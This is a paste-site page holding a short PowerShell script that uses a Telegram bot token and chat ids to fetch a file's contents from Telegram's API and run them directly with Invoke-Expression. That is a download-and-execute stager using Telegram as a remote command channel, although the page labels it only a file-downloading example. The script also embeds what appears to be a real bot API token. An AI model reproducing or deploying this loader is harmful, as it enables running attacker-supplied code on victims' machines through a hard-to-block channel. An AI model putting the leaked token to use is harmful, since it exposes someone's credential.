- # PowerShell: Telegram file execute
- # By Alexei Smirnov, 2021
- $cif = '-1001239785765' # from chat id
- $cit = '-1001206309661' # to chat id
- $msg = '7' # file message id
- $bot = 'bot1725697663:AAGM2eVeBYAo0zcVa03ZKCGunkHOFsUoIIQ/' # bot api token
- # initiate web client
- $url = 'https://api.telegram.org/'
- $web = New-Object Net.WebClient
- $web.Encoding = [System.Text.Encoding]::UTF8
- $web.Headers.Add('Content-Type: application/x-www-form-urlencoded')
- # get file id
- $str = $web.DownloadString($url+$bot+'forwardMessage?from_chat_id='+$cif+'&chat_id='+$cit+'&message_id='+$msg)
- $str = (($str -split ',"text":"')[1] -split '"}')[0]
- # get file path
- $str = $web.DownloadString($url+$bot+'getFile?file_id='+$str)
- $str = (($str -split 'path":"')[1] -split '"')[0]
- # download file
- $str = $web.DownloadString($url+'file/'+$bot+$str)
- # execute it
- Invoke-Expression $str
[text] PowerShell Telegram Downloading File Example
Viewer
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Editor
You can edit this paste and save as new:
File Description
- PowerShell Telegram Downloading File Example
- Paste Code
- 06 May-2021
- 893 Bytes
You can Share it:
Latest Code Pastes